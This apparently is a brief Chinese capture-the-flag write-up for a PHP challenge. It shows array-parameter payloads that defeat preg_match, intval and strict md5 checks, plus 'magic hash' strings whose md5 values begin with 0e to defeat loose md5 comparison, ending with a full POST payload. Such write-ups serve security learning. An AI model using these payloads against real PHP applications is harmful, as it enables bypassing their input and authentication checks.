题目
一、对于前两个if的比较:
$_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])
$_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])
利用数组传参绕过。
payload:
a[]=1&b1[]=1&b2[]=2
二、对于最后一个if内的比较:
$_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])
这里不能进行数组传参了。
payload:
c1=MMHUWUV&c2=MAUXXQC
三、贴上可绕过md5弱比较的字符串及其md5值:
MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570
GZECLQZ 0e537612333747236407713628225676
Final、最终payload:
a[]=1&b1[]=1&b2[]=2&c1=MMHUWUV&c2=MAUXXQC